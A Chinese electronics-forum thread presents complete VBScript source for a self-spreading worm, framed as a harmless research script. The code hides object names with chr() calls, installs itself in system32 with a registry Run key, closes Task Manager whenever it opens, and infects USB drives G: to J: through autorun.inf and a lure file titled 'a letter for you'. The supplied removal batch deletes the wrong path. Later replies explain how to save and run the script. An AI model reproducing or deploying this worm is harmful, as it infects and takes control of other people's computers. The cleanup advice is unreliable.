找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 7450|回复: 4
上一主题 下一主题
收起左侧

能自我复制的脚本病毒

[复制链接]
跳转到指定楼层
楼主
ID:127496 发表于 2016-6-21 01:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式



这个“病毒”没有什么危害,只是它会自我复制,除了占用4KB的磁盘空间以外基本上啥也不干,也只靠U盘传播,是一个可以拿来做研究学习的脚本。不过只要是会传染,就是病毒,因此,请不要把它拿去干坏事(估计这个“病毒”根本不能传播,谁会那么蠢去点击一个来历不名的文件呢?再说了,不用杀软,一条命令就可以轻松搞定),仅供技术研究参考之用途!

================================ALFU.vbs=========================================
on error resume next
dim i,x,vbsc,pan,bye,k
bye=0
k=0
set fs=createobject(chr(115)&"crip"&chr(116)&"ing"&chr(46)&chr(102)&"iles"&chr(121)&"ste"&chr(109)&chr(111)&"bj"&chr(101)&"ct")
set sh=createobject("w"&chr(115)&"cript.shell")
i=wscript.scriptfullname
set txt=fs.opentextfile(i)
vbsc=txt.readall
txt.close
if fs.fileexists("c:\windows\system32\ALFU.vbs")=false then
set text=fs.createtextfile("c:\windows\system32\ALFU.vbs",1)
text.write vbsc
text.close
end if
sh.run "c:\windows\system32\ALFU.vbs"
pan= fs.getdrivename(i)
if not pan="C:" then
set m=fs.getfile(i)
m.delete(true)
bye=1
set m=nothing
end if
do
wscript.sleep 1000
if sh.appactivate("Windows 任务管理器") then
wscript.sleep 100
sh.sendkeys "%{F4}"
end if
if fs.driveexists("G:") then
if not fs.fileexists("G:\给你的一封信.vbs") then
set bt=fs.createtextfile("G:\stvs.bat")
bt.writeline "@echo off"
bt.writeline "start 给你的一封信.vbs"
bt.close
if fs.folderexists("G:\Autorun.inf") then
sh.run "ren G:\autorun.inf G:\aoturun.inf"
end if
set atc=fs.createtextfile("G:\autorun.inf")
atc.writeline "[autorun]"
atc.writeline "Open=stvs.bat"
atc.close
set text=fs.createtextfile("G:\给你的一封信.vbs",1)
text.write vbsc
text.close
end if
end if
if fs.driveexists("H:") then
if not fs.fileexists("H:\给你的一封信.vbs") then
set bt=fs.createtextfile("H:\stvs.bat")
bt.writeline "@echo off"
bt.writeline "start 给你的一封信.vbs"
bt.close
if fs.folderexists("H:\Autorun.inf") then
sh.run "ren H:\autorun.inf H:\aoturun.inf"
end if
set atc=fs.createtextfile("H:\autorun.inf")
atc.writeline "[autorun]"
atc.writeline "Open=stvs.bat"
atc.close
set text=fs.createtextfile("H:\给你的一封信.vbs",1)
text.write vbsc
text.close
end if
end if
if fs.driveexists("I:") then
if not fs.fileexists("I:\给你的一封信.vbs") then
set bt=fs.createtextfile("I:\stvs.bat")
bt.writeline "@echo off"
bt.writeline "start 给你的一封信.vbs"
bt.close
if fs.folderexists("I:\Autorun.inf") then
sh.run "ren I:\autorun.inf I:\aoturun.inf"
end if
set atc=fs.createtextfile("I:\autorun.inf")
atc.writeline "[autorun]"
atc.writeline "Open=stvs.bat"
atc.close
set text=fs.createtextfile("I:\给你的一封信.vbs",1)
text.write vbsc
text.close
end if
end if
if fs.driveexists("J:") then
if not fs.fileexists("J:\给你的一封信.vbs") then
set bt=fs.createtextfile("J:\stvs.bat")
bt.writeline "@echo off"
bt.writeline "start 给你的一封信.vbs"
bt.close
if fs.folderexists("J:\Autorun.inf") then
sh.run "ren J:\autorun.inf J:\aoturun.inf"
end if
set atc=fs.createtextfile("J:\autorun.inf")
atc.writeline "[autorun]"
atc.writeline "Open=stvs.bat"
atc.close
set text=fs.createtextfile("J:\给你的一封信.vbs",1)
text.write vbsc
text.close
end if
end if
if fs.fileexists("c:\windows\system32\ALFU.vbs")=false then
set text=fs.createtextfile("c:\windows\system32\ALFU.vbs",1)
text.write vbsc
text.close
end if
sh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ALFU","c:\windows\system32\ALFU.vbs"
if bye=1 then
exit do
end if
k=k+1
loop
============================================End Script================================================




如果您不幸,既没有安装任何杀毒软件,又一不小心点击了这个文件,您可以建立一个批处理来解决:
@echo off

taskkill /f /im wscript.exe
del /f /q c:\windows\ALFU.vbs
echo msgbox "清除完成!",64,"提示">a.vbs%a.vbs
del a.vbs






分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏3 分享淘帖 顶 踩
回复

使用道具 举报

沙发
ID:63317 发表于 2016-6-21 05:14 | 只看该作者
谢谢分享资料
回复

使用道具 举报

板凳
ID:106476 发表于 2016-7-9 10:40 | 只看该作者
楼主您好,完全看不懂这是什么语言写的,怎样使用?
回复

使用道具 举报

地板
ID:431997 发表于 2018-11-23 18:51 | 只看该作者
xuelanga000 发表于 2016-7-9 10:40
楼主您好,完全看不懂这是什么语言写的,怎样使用?

VB Script脚本,把以上文本复制到你的程序里,然后吧后缀名给改成.vbs或.vbe
回复

使用道具 举报

5#
ID:700750 发表于 2020-3-1 17:43 | 只看该作者
我有个问题,我脚本bat自我复制一个的代码{指包括脚本内bat代码的};求大神帮助
回复

使用道具 举报

6#
ID:288930 发表于 2020-3-5 10:06
vbs病毒,整人不偿命!

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|51黑电子论坛 |51黑电子论坛6群 QQ 管理员QQ:125739409;技术交流QQ群281945664

Powered by 单片机教程网

快速回复 返回顶部 返回列表